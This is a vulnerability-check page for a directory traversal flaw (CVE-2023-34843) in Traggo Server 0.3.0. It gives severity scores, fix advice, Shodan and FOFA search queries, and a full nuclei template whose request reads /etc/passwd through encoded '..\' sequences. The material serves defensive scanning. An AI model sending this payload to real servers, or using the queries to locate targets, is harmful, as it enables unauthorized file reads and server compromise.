Traggo Server - Local File Inclusion

highseverity

7.5CVSS score

7.2%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

traggo/server version 0.3.0 is vulnerable to directory traversal.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the server.

Fix

Upgrade to the latest version to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/static/..%5c..%5c..%5c..%5cetc/passwd
Positive when: contains in header "text/plain" AND matches /root:.*:0:0/ AND status 200

Run it with nuclei: nuclei -id CVE-2023-34843 -u <target>

The full check

id: CVE-2023-34843

info:
  name: Traggo Server - Local File Inclusion
  author: DhiyaneshDk
  severity: high
  description: |
    traggo/server version 0.3.0 is vulnerable to directory traversal.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the server.
  remediation: |
    Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://github.com/rootd4ddy/CVE-2023-34843
    - https://github.com/0x783kb/Security-operation-book
    - https://github.com/Imahian/CVE-2023-34843
    - https://github.com/hheeyywweellccoommee/CVE-2023-34843-illrj
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-34843
    cwe-id: CWE-22
    epss-score: 0.07176
    epss-percentile: 0.94346
    cpe: cpe:2.3:a:traggo:traggo:0.3.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: traggo
    product: traggo
    shodan-query:
      - html:"traggo"
      - http.html:"traggo"
    fofa-query: body="traggo"
  tags: cve2023,cve,traggo,lfi,server,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/static/..%5c..%5c..%5c..%5cetc/passwd"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - text/plain

      - type: regex
        part: body
        regex:
          - "root:.*:0:0"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from